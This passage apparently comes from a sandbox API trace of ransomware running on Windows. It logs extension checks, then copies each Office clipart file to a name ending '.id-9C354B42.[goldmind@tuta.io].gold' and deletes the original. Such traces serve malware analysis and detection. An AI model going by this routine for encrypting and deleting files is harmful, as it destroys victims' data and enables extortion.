files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0099.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.956] lstrlenW (lpString=".doc") returned 4 [0099.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.956] lstrlenW (lpString=".docx") returned 5 [0099.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.956] lstrlenW (lpString=".pdf") returned 4 [0099.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.956] lstrlenW (lpString=".xls") returned 4 [0099.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.956] lstrlenW (lpString=".xlsx") returned 5 [0099.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.956] lstrlenW (lpString=".ppt") returned 4 [0099.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.956] lstrlenW (lpString=".zip") returned 4 [0099.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.957] lstrlenW (lpString=".rar") returned 4 [0099.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString=".bz2") returned 4 [0099.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString=".7z") returned 3 [0099.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.957] lstrlenW (lpString=".dbf") returned 4 [0099.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.957] lstrlenW (lpString=".1cd") returned 4 [0099.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.957] lstrlenW (lpString=".jpg") returned 4 [0099.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.957] lstrlenW (lpString=".doc") returned 4 [0099.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString=".docx") returned 5 [0099.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.957] lstrlenW (lpString=".pdf") returned 4 [0099.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString=".xls") returned 4 [0099.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.957] lstrlenW (lpString=".xlsx") returned 5 [0099.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.957] lstrlenW (lpString=".ppt") returned 4 [0099.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.957] lstrlenW (lpString=".zip") returned 4 [0099.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.957] lstrlenW (lpString=".rar") returned 4 [0099.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.957] lstrlenW (lpString=".bz2") returned 4 [0099.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.958] lstrlenW (lpString=".7z") returned 3 [0099.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.958] lstrlenW (lpString=".dbf") returned 4 [0099.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.958] lstrlenW (lpString=".1cd") returned 4 [0099.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0099.958] lstrlenW (lpString=".jpg") returned 4 [0099.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.958] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.958] lstrlenW (lpString="IN00233_.WMF") returned 12 [0099.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.960] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=11190) returned 1 [0099.960] CloseHandle (hObject=0x380) returned 1 [0099.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0099.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.960] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.960] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.961] GetLastError () returned 0x0 [0099.961] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0099.979] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2bc0, lpOverlapped=0x0) returned 1 [0099.980] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.980] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.980] SetEndOfFile (hFile=0x198) returned 1 [0099.980] CloseHandle (hObject=0x198) returned 1 [0099.980] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.980] SetEndOfFile (hFile=0x380) returned 1 [0099.982] CloseHandle (hObject=0x380) returned 1 [0099.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0099.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.982] lstrlenW (lpString=".doc") returned 4 [0099.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.982] lstrlenW (lpString=".docx") returned 5 [0099.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.982] lstrlenW (lpString=".pdf") returned 4 [0099.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".xls") returned 4 [0099.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.983] lstrlenW (lpString=".xlsx") returned 5 [0099.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.983] lstrlenW (lpString=".ppt") returned 4 [0099.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".zip") returned 4 [0099.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.983] lstrlenW (lpString=".rar") returned 4 [0099.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".bz2") returned 4 [0099.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".7z") returned 3 [0099.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".dbf") returned 4 [0099.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".1cd") returned 4 [0099.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".jpg") returned 4 [0099.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".doc") returned 4 [0099.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".docx") returned 5 [0099.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.983] lstrlenW (lpString=".pdf") returned 4 [0099.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".xls") returned 4 [0099.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.983] lstrlenW (lpString=".xlsx") returned 5 [0099.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.983] lstrlenW (lpString=".ppt") returned 4 [0099.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".zip") returned 4 [0099.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.983] lstrlenW (lpString=".rar") returned 4 [0099.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".bz2") returned 4 [0099.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString=".7z") returned 3 [0099.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.983] lstrlenW (lpString=".dbf") returned 4 [0099.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.984] lstrlenW (lpString=".1cd") returned 4 [0099.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0099.984] lstrlenW (lpString=".jpg") returned 4 [0099.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.984] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.984] lstrlenW (lpString="IN00346_.WMF") returned 12 [0099.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.006] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=696) returned 1 [0100.006] CloseHandle (hObject=0x190) returned 1 [0100.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0100.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0100.008] GetLastError () returned 0x0 [0100.008] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2b8, lpOverlapped=0x0) returned 1 [0100.008] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0100.009] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.009] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.009] SetEndOfFile (hFile=0x380) returned 1 [0100.009] CloseHandle (hObject=0x380) returned 1 [0100.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.009] SetEndOfFile (hFile=0x190) returned 1 [0100.011] CloseHandle (hObject=0x190) returned 1 [0100.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString=".doc") returned 4 [0100.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString=".docx") returned 5 [0100.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.012] lstrlenW (lpString=".pdf") returned 4 [0100.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString=".xls") returned 4 [0100.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.012] lstrlenW (lpString=".xlsx") returned 5 [0100.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.012] lstrlenW (lpString=".ppt") returned 4 [0100.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString=".zip") returned 4 [0100.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.012] lstrlenW (lpString=".rar") returned 4 [0100.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString=".bz2") returned 4 [0100.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString=".7z") returned 3 [0100.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString=".dbf") returned 4 [0100.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString=".1cd") returned 4 [0100.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString=".jpg") returned 4 [0100.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.013] lstrlenW (lpString=".doc") returned 4 [0100.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString=".docx") returned 5 [0100.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.013] lstrlenW (lpString=".pdf") returned 4 [0100.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString=".xls") returned 4 [0100.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.013] lstrlenW (lpString=".xlsx") returned 5 [0100.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.013] lstrlenW (lpString=".ppt") returned 4 [0100.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.013] lstrlenW (lpString=".zip") returned 4 [0100.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.013] lstrlenW (lpString=".rar") returned 4 [0100.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString=".bz2") returned 4 [0100.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString=".7z") returned 3 [0100.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.013] lstrlenW (lpString=".dbf") returned 4 [0100.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.013] lstrlenW (lpString=".1cd") returned 4 [0100.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0100.013] lstrlenW (lpString=".jpg") returned 4 [0100.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.013] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.013] lstrlenW (lpString="IN00351_.WMF") returned 12 [0100.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.014] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1928) returned 1 [0100.014] CloseHandle (hObject=0x190) returned 1 [0100.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0100.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0100.015] GetLastError () returned 0x0 [0100.015] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x788, lpOverlapped=0x0) returned 1 [0100.017] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x790, lpOverlapped=0x0) returned 1 [0100.017] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.017] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.018] SetEndOfFile (hFile=0x380) returned 1 [0100.018] CloseHandle (hObject=0x380) returned 1 [0100.018] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.018] SetEndOfFile (hFile=0x190) returned 1 [0100.019] CloseHandle (hObject=0x190) returned 1 [0100.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0100.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.020] lstrlenW (lpString=".doc") returned 4 [0100.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.020] lstrlenW (lpString=".docx") returned 5 [0100.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.020] lstrlenW (lpString=".pdf") returned 4 [0100.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.020] lstrlenW (lpString=".xls") returned 4 [0100.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.020] lstrlenW (lpString=".xlsx") returned 5 [0100.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 